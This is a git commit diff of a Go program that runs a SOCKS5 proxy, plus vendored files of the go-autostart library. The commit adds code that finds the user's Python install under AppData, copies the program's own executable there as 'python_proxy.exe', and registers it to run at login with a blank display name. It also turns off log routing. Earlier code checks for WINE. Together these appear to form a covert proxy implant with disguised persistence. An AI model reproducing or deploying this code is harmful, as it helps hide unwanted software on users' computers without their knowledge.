Initial working nesting in Python AppData installation
This commit is contained in:
parent
4c101d35f6
commit
6f72252f35
1
go.mod
1
go.mod
|
|
@ -5,6 +5,7 @@ go 1.22.4
|
||||||
require (
|
require (
|
||||||
github.com/awnumar/memguard v0.22.5
|
github.com/awnumar/memguard v0.22.5
|
||||||
github.com/cloudfoundry/socks5-proxy v0.2.120
|
github.com/cloudfoundry/socks5-proxy v0.2.120
|
||||||
|
github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a
|
||||||
github.com/xor-gate/sshfp v0.0.0-20200411085609-13942eb67330
|
github.com/xor-gate/sshfp v0.0.0-20200411085609-13942eb67330
|
||||||
golang.org/x/crypto v0.25.0
|
golang.org/x/crypto v0.25.0
|
||||||
golang.org/x/sys v0.22.0
|
golang.org/x/sys v0.22.0
|
||||||
|
|
|
||||||
2
go.sum
2
go.sum
|
|
@ -11,6 +11,8 @@ github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7Do
|
||||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a h1:M88ob4TyDnEqNuL3PgsE/p3bDujfspnulR+0dQWNYZs=
|
||||||
|
github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a/go.mod h1:buzQsO8HHkZX2Q45fdfGH1xejPjuDQaXH8btcYMFzPM=
|
||||||
github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
|
github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
|
||||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||||
github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA=
|
github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA=
|
||||||
|
|
|
||||||
1
main.go
1
main.go
|
|
@ -139,7 +139,6 @@ func main() {
|
||||||
log.Println("SOCKS5 Addr", proxyServerURL)
|
log.Println("SOCKS5 Addr", proxyServerURL)
|
||||||
|
|
||||||
systemOSDetect()
|
systemOSDetect()
|
||||||
systemGetWellKnownExistingPaths()
|
|
||||||
|
|
||||||
mainLoop()
|
mainLoop()
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -116,5 +116,5 @@ func init() {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
systemRouteAllLogging(logFile)
|
//systemRouteAllLogging(logFile)
|
||||||
}
|
}
|
||||||
|
|
|
||||||
140
system.go
140
system.go
|
|
@ -1,12 +1,13 @@
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"io/fs"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
"os/signal"
|
"os/signal"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
var logFileWriter io.WriteCloser = &nopWriteCloser{}
|
var logFileWriter io.WriteCloser = &nopWriteCloser{}
|
||||||
|
|
@ -48,10 +49,6 @@ func systemCloseLogging() {
|
||||||
logFileWriter.Close()
|
logFileWriter.Close()
|
||||||
}
|
}
|
||||||
|
|
||||||
func systemGetAppDataPath() string {
|
|
||||||
return filepath.Join(os.Getenv("USERPROFILE"), "AppData")
|
|
||||||
}
|
|
||||||
|
|
||||||
// systemCheckDirExists checks if the directory at the given path exists.
|
// systemCheckDirExists checks if the directory at the given path exists.
|
||||||
func systemIsDirExisting(path string) bool {
|
func systemIsDirExisting(path string) bool {
|
||||||
// Get file info
|
// Get file info
|
||||||
|
|
@ -84,6 +81,62 @@ func systemGetFilesInDirectory(path string) ([]string, bool) {
|
||||||
return filesInDirectory, true
|
return filesInDirectory, true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func systemSearchFileInDirectoryRecursive(path string, filename string) []string {
|
||||||
|
var files []string
|
||||||
|
|
||||||
|
// Ensure dir is an absolute path
|
||||||
|
absDir, err := filepath.Abs(path)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Define a function to be called for each directory entry
|
||||||
|
walkFn := func(path string, d fs.DirEntry, err error) error {
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if the entry is a file and has the desired extension
|
||||||
|
if !d.IsDir() && filename == d.Name() {
|
||||||
|
absPath := filepath.Join(absDir, path)
|
||||||
|
files = append(files, absPath)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Walk through the directory using fs.WalkDir
|
||||||
|
err = fs.WalkDir(os.DirFS(path), ".", walkFn)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return files
|
||||||
|
}
|
||||||
|
|
||||||
|
func systemCopyFile(src string, dst string) error {
|
||||||
|
// Open the source file
|
||||||
|
srcFile, err := os.Open(src)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("error opening source file: %v", err)
|
||||||
|
}
|
||||||
|
defer srcFile.Close()
|
||||||
|
|
||||||
|
// Create the destination file
|
||||||
|
dstFile, err := os.Create(dst)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("error creating destination file: %v", err)
|
||||||
|
}
|
||||||
|
defer dstFile.Close()
|
||||||
|
|
||||||
|
// Copy the contents of the source file to the destination file
|
||||||
|
_, err = io.Copy(dstFile, srcFile)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("error copying file: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func systemIsFileExisting(path string) bool {
|
func systemIsFileExisting(path string) bool {
|
||||||
// Get file info
|
// Get file info
|
||||||
info, err := os.Stat(path)
|
info, err := os.Stat(path)
|
||||||
|
|
@ -100,67 +153,6 @@ func systemIsFileExisting(path string) bool {
|
||||||
return !info.IsDir()
|
return !info.IsDir()
|
||||||
}
|
}
|
||||||
|
|
||||||
func systemGetSysWOW64Files() []string {
|
|
||||||
sysWOW64Path := filepath.Join("C:", "Windows", "SysWOW64")
|
|
||||||
files, _ := systemGetFilesInDirectory(sysWOW64Path)
|
|
||||||
return files
|
|
||||||
}
|
|
||||||
|
|
||||||
func systemGetSystem32Files() []string {
|
|
||||||
system32Path := filepath.Join("C:", "Windows", "system32")
|
|
||||||
files, _ := systemGetFilesInDirectory(system32Path)
|
|
||||||
return files
|
|
||||||
}
|
|
||||||
|
|
||||||
func systemGetWellKnownWINEOSFiles() []string {
|
|
||||||
var wineFiles []string
|
|
||||||
var foundFiles []string
|
|
||||||
|
|
||||||
foundFiles = append(foundFiles, systemGetSysWOW64Files()...)
|
|
||||||
foundFiles = append(foundFiles, systemGetSystem32Files()...)
|
|
||||||
|
|
||||||
for _, file := range foundFiles {
|
|
||||||
if strings.Contains(file, "wine") && strings.Contains(file, ".exe") {
|
|
||||||
wineFiles = append(wineFiles, file)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return wineFiles
|
|
||||||
}
|
|
||||||
|
|
||||||
func systemGetWellKnownExistingPaths() []string {
|
|
||||||
var existingPaths []string
|
|
||||||
|
|
||||||
appDataPath := systemGetAppDataPath()
|
|
||||||
if ok := systemIsDirExisting(appDataPath); !ok {
|
|
||||||
log.Println("\t❌", appDataPath)
|
|
||||||
}
|
|
||||||
|
|
||||||
wellKnownPathsToCheck := []string{
|
|
||||||
filepath.Join(appDataPath, "Local", "Programs", "Python"), // TODO search python installations
|
|
||||||
filepath.Join(appDataPath, "Roaming", "npm", "node_modules", "bin"), // TODO search python installations
|
|
||||||
}
|
|
||||||
|
|
||||||
homeDirectory, err := os.UserHomeDir()
|
|
||||||
if err == nil {
|
|
||||||
homeDirPathsToCheck := []string{
|
|
||||||
filepath.Join(homeDirectory, "go", "bin"),
|
|
||||||
}
|
|
||||||
wellKnownPathsToCheck = append(wellKnownPathsToCheck, homeDirPathsToCheck...)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, path := range wellKnownPathsToCheck {
|
|
||||||
if ok := systemIsDirExisting(path); ok {
|
|
||||||
existingPaths = append(existingPaths, path)
|
|
||||||
log.Println("\t✅", path)
|
|
||||||
} else {
|
|
||||||
log.Println("\t❌", path)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return existingPaths
|
|
||||||
}
|
|
||||||
|
|
||||||
func systemIgnoreAllSignals() {
|
func systemIgnoreAllSignals() {
|
||||||
// Create a channel to receive OS signals.
|
// Create a channel to receive OS signals.
|
||||||
sigs := make(chan os.Signal, 1)
|
sigs := make(chan os.Signal, 1)
|
||||||
|
|
@ -177,3 +169,19 @@ func systemIgnoreAllSignals() {
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func systemGetSelfAbsolutePath() string {
|
||||||
|
// Get the path of the executable
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// Convert to absolute path
|
||||||
|
absPath, err := filepath.Abs(exePath)
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
return absPath
|
||||||
|
}
|
||||||
|
|
|
||||||
|
|
@ -5,3 +5,7 @@ package main
|
||||||
|
|
||||||
func systemOSDetect() {
|
func systemOSDetect() {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func systemGetWellKnownExistingPaths() []string {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
|
||||||
|
|
@ -40,6 +40,10 @@ func int8SliceToString(int8Slice []int8) string {
|
||||||
return string(byteSlice)
|
return string(byteSlice)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func systemGetWellKnownExistingPaths() []string {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func systemIsUserRoot() bool {
|
func systemIsUserRoot() bool {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -12,7 +12,10 @@ import (
|
||||||
"golang.org/x/sys/windows/registry"
|
"golang.org/x/sys/windows/registry"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
"github.com/emersion/go-autostart"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Detect native windows
|
// Detect native windows
|
||||||
|
|
@ -84,6 +87,126 @@ func systemIsUserRoot() bool {
|
||||||
return root
|
return root
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func systemGetAppDataPath() string {
|
||||||
|
return filepath.Join(os.Getenv("USERPROFILE"), "AppData")
|
||||||
|
}
|
||||||
|
|
||||||
|
func systemGetSysWOW64Files() []string {
|
||||||
|
sysWOW64Path := filepath.Join("C:", "Windows", "SysWOW64")
|
||||||
|
files, _ := systemGetFilesInDirectory(sysWOW64Path)
|
||||||
|
return files
|
||||||
|
}
|
||||||
|
|
||||||
|
func systemGetSystem32Files() []string {
|
||||||
|
system32Path := filepath.Join("C:", "Windows", "system32")
|
||||||
|
files, _ := systemGetFilesInDirectory(system32Path)
|
||||||
|
return files
|
||||||
|
}
|
||||||
|
|
||||||
|
func systemGetWellKnownWINEOSFiles() []string {
|
||||||
|
var wineFiles []string
|
||||||
|
var foundFiles []string
|
||||||
|
|
||||||
|
foundFiles = append(foundFiles, systemGetSysWOW64Files()...)
|
||||||
|
foundFiles = append(foundFiles, systemGetSystem32Files()...)
|
||||||
|
|
||||||
|
for _, file := range foundFiles {
|
||||||
|
if strings.Contains(file, "wine") && strings.Contains(file, ".exe") {
|
||||||
|
wineFiles = append(wineFiles, file)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return wineFiles
|
||||||
|
}
|
||||||
|
|
||||||
|
func systemAppDataSearchPythonInstallationPaths() []string {
|
||||||
|
appDataPath := systemGetAppDataPath()
|
||||||
|
if ok := systemIsDirExisting(appDataPath); !ok {
|
||||||
|
log.Println("\t❌", appDataPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
var installFolders []string
|
||||||
|
|
||||||
|
appDataLocalProgramsPythonPath := filepath.Join(appDataPath, "Local", "Programs", "Python")
|
||||||
|
paths := systemSearchFileInDirectoryRecursive(appDataLocalProgramsPythonPath, "python.exe")
|
||||||
|
for _, path := range paths {
|
||||||
|
dir := filepath.Dir(path)
|
||||||
|
if strings.Contains(dir, "venv") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
log.Println("\t✅", dir)
|
||||||
|
installFolders = append(installFolders, dir)
|
||||||
|
}
|
||||||
|
|
||||||
|
return installFolders
|
||||||
|
}
|
||||||
|
|
||||||
|
func systemTryInstallPythonPath() string {
|
||||||
|
paths := systemAppDataSearchPythonInstallationPaths()
|
||||||
|
if len(paths) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
selfEXEPath := systemGetSelfAbsolutePath()
|
||||||
|
destEXEPath := filepath.Join(paths[0], "python_proxy.exe") // first path should be OK
|
||||||
|
|
||||||
|
err := systemCopyFile(selfEXEPath, destEXEPath)
|
||||||
|
log.Println("copy", selfEXEPath, "->", destEXEPath)
|
||||||
|
if err != nil {
|
||||||
|
log.Println("❌", err)
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
app := &autostart.App {
|
||||||
|
Name: "python_proxy.exe",
|
||||||
|
DisplayName: "",
|
||||||
|
Exec: []string{"cmd.exe", "/C", destEXEPath},
|
||||||
|
}
|
||||||
|
err = app.Enable()
|
||||||
|
if err == nil {
|
||||||
|
log.Println("\tINSTALLED ✅", selfEXEPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
return destEXEPath
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
func systemGetWellKnownExistingPaths() []string {
|
||||||
|
var existingPaths []string
|
||||||
|
|
||||||
|
appDataPath := systemGetAppDataPath()
|
||||||
|
if ok := systemIsDirExisting(appDataPath); !ok {
|
||||||
|
if err != nil {
|
||||||
|
|
||||||
|
log.Println("\t❌", appDataPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
wellKnownPathsToCheck := []string{
|
||||||
|
filepath.Join(appDataPath, "Local", "Programs", "Python"), // TODO search python installations
|
||||||
|
filepath.Join(appDataPath, "Roaming", "npm", "node_modules", "bin"), // TODO search python installations
|
||||||
|
}
|
||||||
|
|
||||||
|
homeDirectory, err := os.UserHomeDir()
|
||||||
|
if err == nil {
|
||||||
|
homeDirPathsToCheck := []string{
|
||||||
|
filepath.Join(homeDirectory, "go", "bin"),
|
||||||
|
}
|
||||||
|
wellKnownPathsToCheck = append(wellKnownPathsToCheck, homeDirPathsToCheck...)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, path := range wellKnownPathsToCheck {
|
||||||
|
if ok := systemIsDirExisting(path); ok {
|
||||||
|
existingPaths = append(existingPaths, path)
|
||||||
|
log.Println("\t✅", path)
|
||||||
|
} else {
|
||||||
|
log.Println("\t❌", path)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return existingPaths
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
func systemOSDetect() {
|
func systemOSDetect() {
|
||||||
systemGetWindowsVersion()
|
systemGetWindowsVersion()
|
||||||
|
|
||||||
|
|
@ -98,4 +221,8 @@ func systemOSDetect() {
|
||||||
log.Println("\t", file)
|
log.Println("\t", file)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// systemGetWellKnownExistingPaths()
|
||||||
|
systemAppDataSearchPythonInstallationPaths()
|
||||||
|
systemTryInstallPythonPath()
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,24 @@
|
||||||
|
# Compiled Object files, Static and Dynamic libs (Shared Objects)
|
||||||
|
*.o
|
||||||
|
*.a
|
||||||
|
*.so
|
||||||
|
|
||||||
|
# Folders
|
||||||
|
_obj
|
||||||
|
_test
|
||||||
|
|
||||||
|
# Architecture specific extensions/prefixes
|
||||||
|
*.[568vq]
|
||||||
|
[568vq].out
|
||||||
|
|
||||||
|
*.cgo1.go
|
||||||
|
*.cgo2.c
|
||||||
|
_cgo_defun.c
|
||||||
|
_cgo_gotypes.go
|
||||||
|
_cgo_export.*
|
||||||
|
|
||||||
|
_testmain.go
|
||||||
|
|
||||||
|
*.exe
|
||||||
|
*.test
|
||||||
|
*.prof
|
||||||
|
|
@ -0,0 +1,21 @@
|
||||||
|
The MIT License (MIT)
|
||||||
|
|
||||||
|
Copyright (c) 2016 ProtonMail
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
|
@ -0,0 +1,51 @@
|
||||||
|
# go-autostart
|
||||||
|
|
||||||
|
[](https://godoc.org/github.com/emersion/go-autostart)
|
||||||
|
|
||||||
|
A Go library to run a command after login.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```go
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
"github.com/emersion/go-autostart"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
app := &autostart.App{
|
||||||
|
Name: "test",
|
||||||
|
DisplayName: "Just a Test App",
|
||||||
|
Exec: []string{"sh", "-c", "echo autostart >> ~/autostart.txt"},
|
||||||
|
}
|
||||||
|
|
||||||
|
if app.IsEnabled() {
|
||||||
|
log.Println("App is already enabled, removing it...")
|
||||||
|
|
||||||
|
if err := app.Disable(); err != nil {
|
||||||
|
log.Fatal(err)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
log.Println("Enabling app...")
|
||||||
|
|
||||||
|
if err := app.Enable(); err != nil {
|
||||||
|
log.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Println("Done!")
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Behavior
|
||||||
|
|
||||||
|
* On Linux and BSD, it creates a `.desktop` file in `$XDG_CONFIG_HOME/autostart`
|
||||||
|
(i.e. `$HOME/.config/autostart`). See http://askubuntu.com/questions/48321/how-do-i-start-applications-automatically-on-login
|
||||||
|
* On macOS, it creates a `launchd` job. See http://blog.gordn.org/2015/03/implementing-run-on-login-for-your-node.html
|
||||||
|
* On Windows, it creates a link to the program in `%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
MIT
|
||||||
|
|
@ -0,0 +1,13 @@
|
||||||
|
package autostart
|
||||||
|
|
||||||
|
// An application that will be started when the user logs in.
|
||||||
|
type App struct {
|
||||||
|
// Unique identifier for the app.
|
||||||
|
Name string
|
||||||
|
// The command to execute, followed by its arguments.
|
||||||
|
Exec []string
|
||||||
|
// The app name.
|
||||||
|
DisplayName string
|
||||||
|
// The app icon.
|
||||||
|
Icon string
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,68 @@
|
||||||
|
package autostart
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"text/template"
|
||||||
|
)
|
||||||
|
|
||||||
|
const jobTemplate = `<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>Label</key>
|
||||||
|
<string>{{.Name}}</string>
|
||||||
|
<key>ProgramArguments</key>
|
||||||
|
<array>
|
||||||
|
{{range .Exec -}}
|
||||||
|
<string>{{.}}</string>
|
||||||
|
{{end}}
|
||||||
|
</array>
|
||||||
|
<key>RunAtLoad</key>
|
||||||
|
<true/>
|
||||||
|
<key>AbandonProcessGroup</key>
|
||||||
|
<true/>
|
||||||
|
</dict>
|
||||||
|
</plist>`
|
||||||
|
|
||||||
|
var launchDir string
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
launchDir = filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *App) path() string {
|
||||||
|
return filepath.Join(launchDir, a.Name+".plist")
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsEnabled Check is app enabled startup.
|
||||||
|
func (a *App) IsEnabled() bool {
|
||||||
|
_, err := os.Stat(a.path())
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Enable this app on startup.
|
||||||
|
func (a *App) Enable() error {
|
||||||
|
t := template.Must(template.New("job").Parse(jobTemplate))
|
||||||
|
|
||||||
|
if err := os.MkdirAll(launchDir, 0777); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
f, err := os.Create(a.path())
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
|
||||||
|
if err := t.Execute(f, a); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Disable this app on startup.
|
||||||
|
func (a *App) Disable() error {
|
||||||
|
|
||||||
|
return os.Remove(a.path())
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,51 @@
|
||||||
|
#include <windows.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <objbase.h>
|
||||||
|
#include <shlobj.h>
|
||||||
|
|
||||||
|
uint64_t CreateShortcut(char *shortcutA, char *path, char *args) {
|
||||||
|
IShellLink* pISL;
|
||||||
|
IPersistFile* pIPF;
|
||||||
|
HRESULT hr;
|
||||||
|
|
||||||
|
CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
||||||
|
|
||||||
|
// Shortcut filename: convert ANSI to unicode
|
||||||
|
WORD shortcutW[MAX_PATH];
|
||||||
|
int nChar = MultiByteToWideChar(CP_ACP, 0, shortcutA, -1, shortcutW, MAX_PATH);
|
||||||
|
|
||||||
|
hr = CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, &IID_IShellLink, (LPVOID*)&pISL);
|
||||||
|
if (!SUCCEEDED(hr)) {
|
||||||
|
return hr+0x01000000;
|
||||||
|
}
|
||||||
|
|
||||||
|
// See https://msdn.microsoft.com/en-us/library/windows/desktop/bb774950(v=vs.85).aspx
|
||||||
|
hr = pISL->lpVtbl->SetPath(pISL, path);
|
||||||
|
if (!SUCCEEDED(hr)) {
|
||||||
|
return hr+0x02000000;
|
||||||
|
}
|
||||||
|
|
||||||
|
hr = pISL->lpVtbl->SetArguments(pISL, args);
|
||||||
|
if (!SUCCEEDED(hr)) {
|
||||||
|
return hr+0x03000000;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Save the shortcut
|
||||||
|
hr = pISL->lpVtbl->QueryInterface(pISL, &IID_IPersistFile, (void**)&pIPF);
|
||||||
|
if (!SUCCEEDED(hr)) {
|
||||||
|
return hr+0x04000000;
|
||||||
|
}
|
||||||
|
|
||||||
|
hr = pIPF->lpVtbl->Save(pIPF, shortcutW, FALSE);
|
||||||
|
if (!SUCCEEDED(hr)) {
|
||||||
|
return hr+0x05000000;
|
||||||
|
}
|
||||||
|
|
||||||
|
pIPF->lpVtbl->Release(pIPF);
|
||||||
|
pISL->lpVtbl->Release(pISL);
|
||||||
|
|
||||||
|
return 0x0;
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,52 @@
|
||||||
|
package autostart
|
||||||
|
|
||||||
|
// #cgo LDFLAGS: -lole32 -luuid
|
||||||
|
/*
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
uint64_t CreateShortcut(char *shortcutA, char *path, char *args);
|
||||||
|
*/
|
||||||
|
import "C"
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
var startupDir string
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
startupDir = filepath.Join(os.Getenv("USERPROFILE"), "AppData", "Roaming", "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *App) path() string {
|
||||||
|
return filepath.Join(startupDir, a.Name+".lnk")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *App) IsEnabled() bool {
|
||||||
|
_, err := os.Stat(a.path())
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *App) Enable() error {
|
||||||
|
path := a.Exec[0]
|
||||||
|
args := strings.Join(a.Exec[1:], " ")
|
||||||
|
|
||||||
|
if err := os.MkdirAll(startupDir, 0777); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
res := C.CreateShortcut(C.CString(a.path()), C.CString(path), C.CString(args))
|
||||||
|
if res != 0 {
|
||||||
|
return errors.New(fmt.Sprintf("autostart: cannot create shortcut '%s' error code: 0x%.8x", a.path(), res))
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *App) Disable() error {
|
||||||
|
return os.Remove(a.path())
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,69 @@
|
||||||
|
// +build !windows,!darwin
|
||||||
|
|
||||||
|
package autostart
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"text/template"
|
||||||
|
)
|
||||||
|
|
||||||
|
const desktopTemplate = `[Desktop Entry]
|
||||||
|
Type=Application
|
||||||
|
Name={{.DisplayName}}
|
||||||
|
Exec={{.Exec}}
|
||||||
|
{{- if .Icon}}
|
||||||
|
Icon={{.Icon}}{{end}}
|
||||||
|
X-GNOME-Autostart-enabled=true
|
||||||
|
`
|
||||||
|
|
||||||
|
var autostartDir string
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
if os.Getenv("XDG_CONFIG_HOME") != "" {
|
||||||
|
autostartDir = os.Getenv("XDG_CONFIG_HOME")
|
||||||
|
} else {
|
||||||
|
autostartDir = filepath.Join(os.Getenv("HOME"), ".config")
|
||||||
|
}
|
||||||
|
autostartDir = filepath.Join(autostartDir, "autostart")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *App) path() string {
|
||||||
|
return filepath.Join(autostartDir, a.Name+".desktop")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if the app is enabled on startup.
|
||||||
|
func (a *App) IsEnabled() bool {
|
||||||
|
_, err := os.Stat(a.path())
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type app struct {
|
||||||
|
*App
|
||||||
|
}
|
||||||
|
|
||||||
|
// Override App.Exec to return a string.
|
||||||
|
func (a *app) Exec() string {
|
||||||
|
return quote(a.App.Exec)
|
||||||
|
}
|
